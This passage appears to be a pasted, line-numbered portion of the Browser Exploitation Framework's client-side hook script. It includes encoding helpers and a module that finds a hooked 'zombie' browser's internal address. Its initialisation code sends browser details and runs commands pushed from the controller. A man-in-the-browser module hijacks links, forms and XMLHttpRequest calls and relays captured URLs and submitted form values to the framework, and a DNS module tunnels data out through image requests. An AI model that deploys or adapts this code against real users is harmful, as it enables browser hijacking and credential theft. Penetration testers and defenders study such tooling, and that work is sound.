  10277. chr1 = input.charCodeAt(i++);
  10278. chr2 = input.charCodeAt(i++);
  10279. chr3 = input.charCodeAt(i++);
  10280.  
  10281. enc1 = chr1 >> 2;
  10282. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  10283. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  10284. enc4 = chr3 & 63;
  10285.  
  10286. if (isNaN(chr2)) {
  10287. enc3 = enc4 = 64;
  10288. } else if (isNaN(chr3)) {
  10289. enc4 = 64;
  10290. }
  10291.  
  10292. output = output +
  10293. this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
  10294. this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
  10295.  
  10296. }
  10297.  
  10298. return output;
  10299. },
  10300.  
  10301.  
  10302. decode : function (input) {
  10303. if (window.atob) {
  10304. return escape(atob(input));
  10305. }
  10306.  
  10307. var output = "";
  10308. var chr1, chr2, chr3;
  10309. var enc1, enc2, enc3, enc4;
  10310. var i = 0;
  10311.  
  10312. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  10313.  
  10314. while (i < input.length) {
  10315.  
  10316. enc1 = this.keyStr.indexOf(input.charAt(i++));
  10317. enc2 = this.keyStr.indexOf(input.charAt(i++));
  10318. enc3 = this.keyStr.indexOf(input.charAt(i++));
  10319. enc4 = this.keyStr.indexOf(input.charAt(i++));
  10320.  
  10321. chr1 = (enc1 << 2) | (enc2 >> 4);
  10322. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  10323. chr3 = ((enc3 & 3) << 6) | enc4;
  10324.  
  10325. output = output + String.fromCharCode(chr1);
  10326.  
  10327. if (enc3 != 64) {
  10328. output = output + String.fromCharCode(chr2);
  10329. }
  10330. if (enc4 != 64) {
  10331. output = output + String.fromCharCode(chr3);
  10332. }
  10333.  
  10334. }
  10335.  
  10336. output = beef.encode.base64.utf8_decode(output);
  10337.  
  10338. return output;
  10339.  
  10340. },
  10341.  
  10342.  
  10343. utf8_encode : function (string) {
  10344. string = string.replace(/\r\n/g,"\n");
  10345. var utftext = "";
  10346.  
  10347. for (var n = 0; n < string.length; n++) {
  10348.  
  10349. var c = string.charCodeAt(n);
  10350.  
  10351. if (c < 128) {
  10352. utftext += String.fromCharCode(c);
  10353. }
  10354. else if((c > 127) && (c < 2048)) {
  10355. utftext += String.fromCharCode((c >> 6) | 192);
  10356. utftext += String.fromCharCode((c & 63) | 128);
  10357. }
  10358. else {
  10359. utftext += String.fromCharCode((c >> 12) | 224);
  10360. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  10361. utftext += String.fromCharCode((c & 63) | 128);
  10362. }
  10363.  
  10364. }
  10365.  
  10366. return utftext;
  10367. },
  10368.  
  10369. utf8_decode : function (utftext) {
  10370. var string = "";
  10371. var i = 0;
  10372. var c = c1 = c2 = 0;
  10373.  
  10374. while ( i < utftext.length ) {
  10375.  
  10376. c = utftext.charCodeAt(i);
  10377.  
  10378. if (c < 128) {
  10379. string += String.fromCharCode(c);
  10380. i++;
  10381. }
  10382. else if((c > 191) && (c < 224)) {
  10383. c2 = utftext.charCodeAt(i+1);
  10384. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  10385. i += 2;
  10386. }
  10387. else {
  10388. c2 = utftext.charCodeAt(i+1);
  10389. c3 = utftext.charCodeAt(i+2);
  10390. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  10391. i += 3;
  10392. }
  10393.  
  10394. }
  10395.  
  10396. return string;
  10397. }
  10398.  
  10399. };
  10400.  
  10401. beef.regCmp('beef.encode.base64');
  10402.  
  10403.  
  10404. //
  10405. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10406. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10407. // See the file 'doc/COPYING' for copying permission
  10408. //
  10409.  
  10410. // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
  10411.  
  10412. beef.encode.json = {
  10413.  
  10414. stringify: function(o) {
  10415. if (typeof(JSON) == 'object' && JSON.stringify) {
  10416. // Error on stringifying cylcic structures caused polling to die
  10417. try {
  10418. s = JSON.stringify(o);
  10419. } catch(error) {
  10420. // TODO log error / handle cyclic structures?
  10421. }
  10422. return s;
  10423. }
  10424. var type = typeof(o);
  10425.  
  10426. if (o === null)
  10427. return "null";
  10428.  
  10429. if (type == "undefined")
  10430. return '\"\"';
  10431.  
  10432. if (type == "number" || type == "boolean")
  10433. return o + "";
  10434.  
  10435. if (type == "string")
  10436. return $j.quoteString(o);
  10437.  
  10438. if (type == 'object')
  10439. {
  10440. if (typeof o.toJSON == "function")
  10441. return $j.toJSON( o.toJSON() );
  10442.  
  10443. if (o.constructor === Date)
  10444. {
  10445. var month = o.getUTCMonth() + 1;
  10446. if (month < 10) month = '0' + month;
  10447.  
  10448. var day = o.getUTCDate();
  10449. if (day < 10) day = '0' + day;
  10450.  
  10451. var year = o.getUTCFullYear();
  10452.  
  10453. var hours = o.getUTCHours();
  10454. if (hours < 10) hours = '0' + hours;
  10455.  
  10456. var minutes = o.getUTCMinutes();
  10457. if (minutes < 10) minutes = '0' + minutes;
  10458.  
  10459. var seconds = o.getUTCSeconds();
  10460. if (seconds < 10) seconds = '0' + seconds;
  10461.  
  10462. var milli = o.getUTCMilliseconds();
  10463. if (milli < 100) milli = '0' + milli;
  10464. if (milli < 10) milli = '0' + milli;
  10465.  
  10466. return '"' + year + '-' + month + '-' + day + 'T' +
  10467. hours + ':' + minutes + ':' + seconds +
  10468. '.' + milli + 'Z"';
  10469. }
  10470.  
  10471. if (o.constructor === Array)
  10472. {
  10473. var ret = [];
  10474. for (var i = 0; i < o.length; i++)
  10475. ret.push( $j.toJSON(o[i]) || "null" );
  10476.  
  10477. return "[" + ret.join(",") + "]";
  10478. }
  10479.  
  10480. var pairs = [];
  10481. for (var k in o) {
  10482. var name;
  10483. var type = typeof k;
  10484.  
  10485. if (type == "number")
  10486. name = '"' + k + '"';
  10487. else if (type == "string")
  10488. name = $j.quoteString(k);
  10489. else
  10490. continue; //skip non-string or number keys
  10491.  
  10492. if (typeof o[k] == "function")
  10493. continue; //skip pairs where the value is a function.
  10494.  
  10495. var val = $j.toJSON(o[k]);
  10496.  
  10497. pairs.push(name + ":" + val);
  10498. }
  10499.  
  10500. return "{" + pairs.join(", ") + "}";
  10501. }
  10502. },
  10503.  
  10504. quoteString: function(string) {
  10505. if (string.match(this._escapeable))
  10506. {
  10507. return '"' + string.replace(this._escapeable, function (a)
  10508. {
  10509. var c = this._meta[a];
  10510. if (typeof c === 'string') return c;
  10511. c = a.charCodeAt();
  10512. return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
  10513. }) + '"';
  10514. }
  10515. return '"' + string + '"';
  10516. },
  10517.  
  10518. _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  10519.  
  10520. _meta : {
  10521. '\b': '\\b',
  10522. '\t': '\\t',
  10523. '\n': '\\n',
  10524. '\f': '\\f',
  10525. '\r': '\\r',
  10526. '"' : '\\"',
  10527. '\\': '\\\\'
  10528. }
  10529. };
  10530.  
  10531. $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
  10532. $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
  10533.  
  10534. beef.regCmp('beef.encode.json');
  10535.  
  10536.  
  10537. //
  10538. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10539. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10540. // See the file 'doc/COPYING' for copying permission
  10541. //
  10542.  
  10543. /*!
  10544. * @literal object: beef.net.local
  10545. *
  10546. * Provides networking functions for the local/internal network of the zombie.
  10547. */
  10548. beef.net.local = {
  10549.  
  10550. sock: false,
  10551. checkJava: false,
  10552. hasJava: false,
  10553.  
  10554. /**
  10555. * Initializes the java socket. We have to use this method because
  10556. * some browsers do not have java installed or it is not accessible.
  10557. * in which case creating a socket directly generates an error. So this code
  10558. * is invalid:
  10559. * sock: new java.net.Socket();
  10560. */
  10561.  
  10562. initializeSocket: function() {
  10563. if(this.checkJava){
  10564. if(!beef.browser.hasJava()) {
  10565. this.checkJava=True;
  10566. this.hasJava=False;
  10567. return -1;
  10568. }else{
  10569. this.checkJava=True;
  10570. this.hasJava=True;
  10571. return 1;
  10572. }
  10573. }
  10574. else{
  10575. if(!this.hasJava) return -1;
  10576. else{
  10577. try {
  10578. this.sock = new java.net.Socket();
  10579. } catch(e) {
  10580. return -1;
  10581. }
  10582. return 1;
  10583. }
  10584. }
  10585. },
  10586.  
  10587. /**
  10588. * Returns the internal IP address of the zombie.
  10589. * @return: {String} the internal ip of the zombie.
  10590. * @error: return -1 if the internal ip cannot be retrieved.
  10591. */
  10592. getLocalAddress: function() {
  10593. if(!this.hasJava) return false;
  10594.  
  10595. this.initializeSocket();
  10596.  
  10597. try {
  10598. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  10599. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!
  10600.  
  10601. document.location.port)?80:document.location.port));
  10602.  
  10603. return this.sock.getLocalAddress().getHostAddress();
  10604. } catch(e) { return false; }
  10605. },
  10606.  
  10607. /**
  10608. * Returns the internal hostname of the zombie.
  10609. * @return: {String} the internal hostname of the zombie.
  10610. * @error: return -1 if the hostname cannot be retrieved.
  10611. */
  10612. getLocalHostname: function() {
  10613. if(!this.hasJava) return false;
  10614.  
  10615. this.initializeSocket();
  10616.  
  10617. try {
  10618. this.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
  10619. this.sock.connect(new java.net.InetSocketAddress(document.domain, (!
  10620.  
  10621. document.location.port)?80:document.location.port));
  10622.  
  10623. return this.sock.getLocalAddress().getHostName();
  10624. } catch(e) { return false; }
  10625. }
  10626.  
  10627. };
  10628.  
  10629. beef.regCmp('beef.net.local');
  10630.  
  10631.  
  10632. //
  10633. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10634. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10635. // See the file 'doc/COPYING' for copying permission
  10636. //
  10637.  
  10638. /**
  10639. * @literal object: beef.init
  10640. * Contains the beef_init() method which starts the BeEF client-side
  10641. * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
  10642. *
  10643. * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
  10644. * and will have a new session id. The new session id will need to know
  10645. * the brwoser details. So sendback the browser details again.
  10646. */
  10647.  
  10648. beef.session.get_hook_session_id();
  10649.  
  10650. if (beef.pageIsLoaded) {
  10651. beef.net.browser_details();
  10652. }
  10653.  
  10654. window.onload = function () {
  10655. beef_init();
  10656. };
  10657.  
  10658. window.onpopstate = function (event) {
  10659. if (beef.onpopstate.length > 0) {
  10660. event.preventDefault;
  10661. for (var i = 0; i < beef.onpopstate.length; i++) {
  10662. var callback = beef.onpopstate[i];
  10663. try {
  10664. callback(event);
  10665. } catch (e) {
  10666. beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
  10667. }
  10668. return false;
  10669. }
  10670. }
  10671. };
  10672.  
  10673. window.onclose = function (event) {
  10674. if (beef.onclose.length > 0) {
  10675. event.preventDefault;
  10676. for (var i = 0; i < beef.onclose.length; i++) {
  10677. var callback = beef.onclose[i];
  10678. try {
  10679. callback(event);
  10680. } catch (e) {
  10681. beef.debug("window.onclose - couldn't execute callback: " + e.message);
  10682. }
  10683. return false;
  10684. }
  10685. }
  10686. };
  10687.  
  10688. /**
  10689. * Starts the polling mechanism, and initialize various components:
  10690. * - browser details (see browser.js) are sent back to the "/init" handler
  10691. * - the polling starts (checks for new commands, and execute them)
  10692. * - the logger component is initialized (see logger.js)
  10693. * - the Autorun Engine is initialized (see are.js)
  10694. */
  10695. function beef_init() {
  10696. if (!beef.pageIsLoaded) {
  10697. beef.pageIsLoaded = true;
  10698. if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
  10699. beef.websocket.start();
  10700. beef.net.browser_details();
  10701. beef.updater.execute_commands();
  10702. beef.logger.start();
  10703. }else {
  10704. beef.net.browser_details();
  10705. beef.updater.execute_commands();
  10706. beef.updater.check();
  10707. beef.logger.start();
  10708. }
  10709. }
  10710. }
  10711.  
  10712.  
  10713. //
  10714. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10715. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10716. // See the file 'doc/COPYING' for copying permission
  10717. //
  10718.  
  10719.  
  10720. beef.mitb = {
  10721.  
  10722. cid:null,
  10723. curl:null,
  10724.  
  10725. init:function (cid, curl) {
  10726. beef.mitb.cid = cid;
  10727. beef.mitb.curl = curl;
  10728. /*Override open method to intercept ajax request*/
  10729. var hook_file = "/hook.js";
  10730.  
  10731. if (window.XMLHttpRequest && !(window.ActiveXObject)) {
  10732.  
  10733. beef.mitb.sniff("Method XMLHttpRequest.open override");
  10734. (function (open) {
  10735. XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
  10736. // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
  10737. // or a request initiated by the MiTB itself.
  10738. if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
  10739. open.call(this, method, url, async, true);
  10740. }else {
  10741. var portRegex = new RegExp(":[0-9]+");
  10742. var portR = portRegex.exec(url);
  10743. var requestPort;
  10744. if (portR != null) { requestPort = portR[0].split(":")[1]; }
  10745.  
  10746. //GET request
  10747. if (method == "GET") {
  10748. //GET request -> cross-origin
  10749. if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort !=
  10750.  
  10751. document.location.port )) {
  10752. beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
  10753. window.open(url);
  10754. }else { //GET request -> same-origin
  10755. beef.mitb.sniff("GET [Ajax Request]: " + url);
  10756. if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
  10757. var title = "";
  10758. if (document.getElementsByTagName("title").length == 0) {
  10759. title = document.title;
  10760. } else {
  10761. title = document.getElementsByTagName("title")[0].innerHTML;
  10762. }
  10763. // write the url of the page
  10764. history.pushState({ Be:"EF" }, title, url);
  10765. }
  10766. }
  10767. }else{
  10768. //POST request
  10769. beef.mitb.sniff("POST ajax request to: " + url);
  10770. open.call(this, method, url, async, true);
  10771. }
  10772. }
  10773. };
  10774. })(XMLHttpRequest.prototype.open);
  10775. }
  10776. },
  10777.  
  10778. // Initializes the hook on anchors and forms.
  10779. hook:function () {
  10780. beef.onpopstate.push(function (event) {
  10781. beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
  10782. });
  10783. beef.onclose.push(function (event) {
  10784. beef.mitb.endSession();
  10785. });
  10786.  
  10787. var anchors = document.getElementsByTagName("a");
  10788. var forms = document.getElementsByTagName("form");
  10789. var lis = document.getElementsByTagName("li");
  10790.  
  10791. for (var i = 0; i < anchors.length; i++) {
  10792. anchors[i].onclick = beef.mitb.poisonAnchor;
  10793. }
  10794. for (var i = 0; i < forms.length; i++) {
  10795. beef.mitb.poisonForm(forms[i]);
  10796. }
  10797.  
  10798. for (var i = 0; i < lis.length; i++) {
  10799. if (lis[i].hasAttribute("onclick")) {
  10800. lis[i].removeAttribute("onclick");
  10801. /*clear*/
  10802. lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
  10803. /*override*/
  10804.  
  10805. }
  10806. }
  10807. },
  10808.  
  10809. // Hooks anchors and prevents them from linking away
  10810. poisonAnchor:function (e) {
  10811. try {
  10812. e.preventDefault;
  10813. if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
  10814. var title = "";
  10815. if (document.getElementsByTagName("title").length == 0) {
  10816. title = document.title;
  10817. } else {
  10818. title = document.getElementsByTagName("title")[0].innerHTML;
  10819. }
  10820. history.pushState({ Be:"EF" }, title, e.currentTarget);
  10821. }
  10822. } catch (e) {
  10823. beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
  10824. }
  10825. return false;
  10826. },
  10827.  
  10828. // Hooks forms and prevents them from linking away
  10829. poisonForm:function (form) {
  10830. form.onsubmit = function (e) {
  10831. var inputs = form.getElementsByTagName("input");
  10832. var query = "";
  10833. for (var i = 0; i < inputs.length; i++) {
  10834. if (i > 0 && i < inputs.length - 1) query += "&";
  10835. switch (inputs[i].type) {
  10836. case "submit":
  10837. break;
  10838. default:
  10839. query += inputs[i].name + "=" + inputs[i].value;
  10840. break;
  10841. }
  10842. }
  10843. e.preventdefault;
  10844. beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
  10845. history.pushState({ Be:"EF" }, "", form.action);
  10846. return false;
  10847. }
  10848. },
  10849.  
  10850. // Fetches a hooked form with AJAX
  10851. fetchForm:function (url, query, target) {
  10852. try {
  10853. var y = new XMLHttpRequest();
  10854. y.open('POST', url, false, true);
  10855. y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  10856. y.onreadystatechange = function () {
  10857. if (y.readyState == 4 && y.responseText != "") {
  10858. target.innerHTML = y.responseText;
  10859. setTimeout(beef.mitb.hook, 10);
  10860. }
  10861. };
  10862. y.send(query);
  10863. beef.mitb.sniff("POST: " + url + "[" + query + "]");
  10864. return true;
  10865. } catch (x) {
  10866. return false;
  10867. }
  10868. },
  10869.  
  10870. // Fetches a hooked link with AJAX
  10871. fetch:function (url, target) {
  10872. try {
  10873. var y = new XMLHttpRequest();
  10874. y.open('GET', url, false, true);
  10875. y.onreadystatechange = function () {
  10876. if (y.readyState == 4 && y.responseText != "") {
  10877. target.innerHTML = y.responseText;
  10878. setTimeout(beef.mitb.hook, 10);
  10879. }
  10880. };
  10881. y.send(null);
  10882. beef.mitb.sniff("GET: " + url);
  10883. return true;
  10884. } catch (x) {
  10885. window.open(url);
  10886. beef.mitb.sniff("GET [New Window]: " + url);
  10887. return false;
  10888. }
  10889. },
  10890.  
  10891. // Fetches a window.location=http://domainname.com and setting up history
  10892. fetchOnclick:function (url) {
  10893. try {
  10894. var target = document.getElementsByTagName("html")[0];
  10895. var y = new XMLHttpRequest();
  10896. y.open('GET', url, false, true);
  10897. y.onreadystatechange = function () {
  10898. if (y.readyState == 4 && y.responseText != "") {
  10899. var title = "";
  10900. if (document.getElementsByTagName("title").length == 0) {
  10901. title = document.title;
  10902. }
  10903. else {
  10904. title = document.getElementsByTagName("title")[0].innerHTML;
  10905. }
  10906. history.pushState({ Be:"EF" }, title, url);
  10907. target.innerHTML = y.responseText;
  10908. setTimeout(beef.mitb.hook, 10);
  10909. }
  10910. };
  10911. y.send(null);
  10912. beef.mitb.sniff("GET: " + url);
  10913.  
  10914. } catch (x) {
  10915. // the link is cross-origin, so load the resource in a different tab
  10916. window.open(url);
  10917. beef.mitb.sniff("GET [New Window]: " + url);
  10918. }
  10919. },
  10920.  
  10921. // Relays an entry to the framework
  10922. sniff:function (result) {
  10923. try {
  10924. beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
  10925. } catch (x) {
  10926. }
  10927. return true;
  10928. },
  10929.  
  10930. // Signals the Framework that the user has lost the hook
  10931. endSession:function () {
  10932. beef.mitb.sniff("Window closed.");
  10933. }
  10934. };
  10935.  
  10936. beef.regCmp('beef.mitb');
  10937.  
  10938.  
  10939. //
  10940. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  10941. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10942. // See the file 'doc/COPYING' for copying permission
  10943. //
  10944.  
  10945. /*!
  10946. * @literal object: beef.net.dns
  10947. *
  10948. * request object structure:
  10949. * + msgId: {Integer} Unique message ID for the request.
  10950. * + domain: {String} Remote domain to retrieve the data.
  10951. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED
  10952. * + callback: {Function} Callback function to receive the number of requests sent.
  10953. */
  10954.  
  10955. beef.net.dns = {
  10956.  
  10957. handler: "dns",
  10958.  
  10959. send: function(msgId, data, domain, callback) {
  10960.  
  10961. var encode_data = function(str) {
  10962. var result="";
  10963. for(i=0;i<str.length;++i) {
  10964. result+=str.charCodeAt(i).toString(16).toUpperCase();
  10965. }
  10966. return result;
  10967. };
  10968.  
  10969. var encodedData = encodeURI(encode_data(data));
  10970.  
  10971. beef.debug(encodedData);
  10972. beef.debug("_encodedData_ length: " + encodedData.length);
  10973.  
  10974. // limitations to DNS according to RFC 1035:
  10975. // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
  10976. // o Domain names are limited to 255 characters in length (including dots)
  10977. // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)
  10978. // o Subdomains are limited to 63 characters in length (including the trailing dot)
  10979.  
  10980. // DNS request structure:
  10981. // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN
  10982. //max_length: 3. 3 . 3 . 63 . x
  10983.  
  10984. // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per
  10985.  
  10986. request.
  10987. // for optimal performance, use the following vars and use the whole available space (which needs changes
  10988.  
  10989. server-side too)
  10990. var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots
  10991. var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
  10992. var max_data_segment_length = 63; // by RFC
  10993.  
  10994. beef.debug("max_data_segment_length: " + max_data_segment_length);
  10995.  
  10996. var dom = document.createElement('b');
  10997.  
  10998. String.prototype.chunk = function(n) {
  10999. if (typeof n=='undefined') n=100;
  11000. return this.match(RegExp('.{1,'+n+'}','g'));
  11001. };
  11002.  
  11003. var sendQuery = function(query) {
  11004. var img = new Image;
  11005. //img.src = "http://"+query;
  11006. img.src = beef.net.httpproto + "://" + query; // prevents issues with mixed content
  11007. img.onload = function() { dom.removeChild(this); }
  11008. img.onerror = function() { dom.removeChild(this); }
  11009. dom.appendChild(img);
  11010.  
  11011. //experimental
  11012. //setTimeout(function(){dom.removeChild(img)},1000);
  11013. };
  11014.  
  11015. var segments = encodedData.chunk(max_data_segment_length);
  11016.  
  11017. var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel
  11018.  
  11019. request
  11020.  
  11021. beef.debug(segments.length);
  11022.  
  11023. for (var seq=1; seq<=segments.length; seq++) {
  11024. sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
  11025. }
  11026.  
  11027. // callback - returns the number of queries sent
  11028. if (!!callback) callback(segments.length);
  11029.  
  11030. }
  11031.  
  11032. };
  11033.  
  11034. beef.regCmp('beef.net.dns');
  11035.  
  11036.  
  11037.  
  11038. //
  11039. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  11040. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  11041. // See the file 'doc/COPYING' for copying permission
  11042. //
  11043.  
  11044. // beef.net.connection - wraps Mozilla's Network Information API
  11045. // https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation
  11046. // https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection
  11047. beef.net.connection = {
  11048.  
  11049. /* Returns the connection type
  11050. * @example: beef.net.connection.type()
  11051. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type
  11052. * @return: {String} connection type or 'unknown'.
  11053. **/
  11054. type: function () {
  11055. try {
  11056. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  11057. var type = connection.type;
  11058. if (/^[a-z]+$/.test(type)) return type; else return 'unknown';
  11059. } catch(e) {
  11060. beef.debug("Error retrieving connection type: " + e.message);
  11061. return 'unknown';
  11062. }
  11063. },
  11064.  
  11065. /* Returns the maximum downlink speed of the connection
  11066. * @example: beef.net.connection.downlinkMax()
  11067. * @note: https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax
  11068. * @return: {String} downlink max or 'unknown'.
  11069. **/
  11070. downlinkMax: function () {
  11071. try {
  11072. var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
  11073. var max = connection.downlinkMax;
  11074. if (max) return max; else return 'unknown';
  11075. } catch(e) {
  11076. beef.debug("Error retrieving connection downlink max: " + e.message);
  11077. return 'unknown';
  11078. }
  11079. }
  11080.  
  11081. };
  11082.  
  11083. beef.regCmp('beef.net.connection');
  11084.  
  11085.  
  11086.  
  11087. beef.net.cors = {
  11088.  
  11089. handler: "cors",
  11090.  
  11091. /**
  11092. * Response Object - used in the beef.net.request callback
  11093. */
  11094. response:function () {
  11095. this.status = null; // 500, 404, 200, 302, etc
  11096. this.headers = null; // full response headers
  11097. this.body = null; // full response body
  11098. },
  11099.  
  11100. /**
  11101. * Make a cross-origin request using CORS
  11102. *
  11103. * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
  11104. * @param url {String} url
  11105. * @param data {String} request body
  11106. * @param callback {Function} function to callback on completion
  11107. */
  11108. request: function(method, url, data, callback) {
  11109.  
  11110. var xhr;
  11111. var response = new this.response;
  11112.  
  11113. if (XMLHttpRequest) {
  11114. xhr = new XMLHttpRequest();
  11115.  
  11116. if ('withCredentials' in xhr) {
  11117. xhr.open(method, url, true);
  11118. xhr.onerror = function() {
  11119. };
  11120. xhr.onreadystatechange = function() {
  11121. if (xhr.readyState === 4) {
  11122. response.headers = this.getAllResponseHeaders()
  11123. response.body = this.responseText;
  11124. response.status = this.status;
  11125. if (!!callback) {
  11126. if (!!response) {
  11127. callback(response);
  11128. } else {
  11129. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  11130. }
  11131. }
  11132. }
  11133. };
  11134. xhr.send(data);
  11135. }
  11136. } else if (typeof XDomainRequest != "undefined") {
  11137. xhr = new XDomainRequest();
  11138. xhr.open(method, url);
  11139. xhr.onerror = function() {
  11140. };
  11141. xhr.onload = function() {
  11142. response.headers = this.getAllResponseHeaders()
  11143. response.body = this.responseText;
  11144. response.status = this.status;
  11145. if (!!callback) {
  11146. if (!!response) {
  11147. callback(response);
  11148. } else {
  11149. callback('ERROR: No Response. CORS requests may be denied for this resource.')
  11150. }
  11151. }
  11152. };
  11153. xhr.send(data);
  11154. } else {
  11155. if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not
  11156.  
  11157. sent.');
  11158. }
  11159.  
  11160. }
  11161.  
  11162. };
  11163.  
  11164. beef.regCmp('beef.net.cors');
  11165.  
  11166.  
  11167.  
  11168. //
  11169. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  11170. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  11171. // See the file 'doc/COPYING' for copying permission
  11172. //
  11173.  
  11174. beef.are = {
  11175. status_success: function(){
  11176. return 1;
  11177. },
  11178. status_unknown: function(){
  11179. return 0;
  11180. },
  11181. status_error: function(){
  11182. return -1;
  11183. }
  11184. };
  11185. beef.regCmp("beef.are");
  11186.  
  11187.  
  11188. /*
  11189. * Copyright (c) 2014 The WebRTC project authors. All Rights Reserved.
  11190. *
  11191. * Use of this source code is governed by a BSD-style license
  11192. * that can be found in the LICENSE file in the root of the source
  11193. * tree.
  11194. */
  11195.  
  11196. /* More information about these options at jshint.com/docs/options */
  11197. /* jshint browser: true, camelcase: true, curly: true, devel: true,
  11198. eqeqeq: true, forin: false, globalstrict: true, node: true,
  11199. quotmark: single, undef: true, unused: strict */
  11200. /* global mozRTCIceCandidate, mozRTCPeerConnection, Promise,
  11201. mozRTCSessionDescription, webkitRTCPeerConnection, MediaStreamTrack */
  11202. /* exported trace,requestUserMedia */
  11203.  
  11204. 'use strict';
  11205.  
  11206. var getUserMedia = null;
  11207. var attachMediaStream = null;
  11208. var reattachMediaStream = null;
  11209. var webrtcDetectedBrowser = null;
  11210. var webrtcDetectedVersion = null;
  11211. var webrtcMinimumVersion = null;
  11212.  
  11213. function trace(text) {
  11214. // This function is used for logging.
  11215. if (text[text.length - 1] === '\n') {
  11216. text = text.substring(0, text.length - 1);
  11217. }
  11218. if (window.performance) {
  11219. var now = (window.performance.now() / 1000).toFixed(3);
  11220. beef.debug(now + ': ' + text);
  11221. } else {
  11222. beef.debug(text);
  11223. }
  11224. }
  11225.  
  11226. if (navigator.mozGetUserMedia) {
  11227.  
  11228. webrtcDetectedBrowser = 'firefox';
  11229.  
  11230. // the detected firefox version.
  11231. webrtcDetectedVersion =
  11232. parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
  11233.  
  11234. // the minimum firefox version still supported by adapter.
  11235. webrtcMinimumVersion = 31;
  11236.  
  11237. // The RTCPeerConnection object.
  11238. window.RTCPeerConnection = function(pcConfig, pcConstraints) {
  11239. if (webrtcDetectedVersion < 38) {
  11240. // .urls is not supported in FF < 38.
  11241. // create RTCIceServers with a single url.
  11242. if (pcConfig && pcConfig.iceServers) {
  11243. var newIceServers = [];
  11244. for (var i = 0; i < pcConfig.iceServers.length; i++) {
  11245. var server = pcConfig.iceServers[i];
  11246. if (server.hasOwnProperty('urls')) {
  11247. for (var j = 0; j < server.urls.length; j++) {
  11248. var newServer = {
  11249. url: server.urls[j]
  11250. };
  11251. if (server.urls[j].indexOf('turn') === 0) {
  11252. newServer.username = server.username;
  11253. newServer.credential = server.credential;
  11254. }
  11255. newIceServers.push(newServer);
  11256. }
  11257. } else {
  11258. newIceServers.push(pcConfig.iceServers[i]);
  11259. }
  11260. }
  11261. pcConfig.iceServers = newIceServers;
  11262. }
  11263. }
  11264. return new mozRTCPeerConnection(pcConfig, pcConstraints);
  11265. };
  11266.  
  11267. // The RTCSessionDescription object.
  11268. window.RTCSessionDescription = mozRTCSessionDescription;
  11269.  
  11270. // The RTCIceCandidate object.
  11271. window.RTCIceCandidate = mozRTCIceCandidate;
  11272.  
  11273. // getUserMedia constraints shim.
  11274. getUserMedia = (webrtcDetectedVersion < 38) ?
  11275. function(c, onSuccess, onError) {
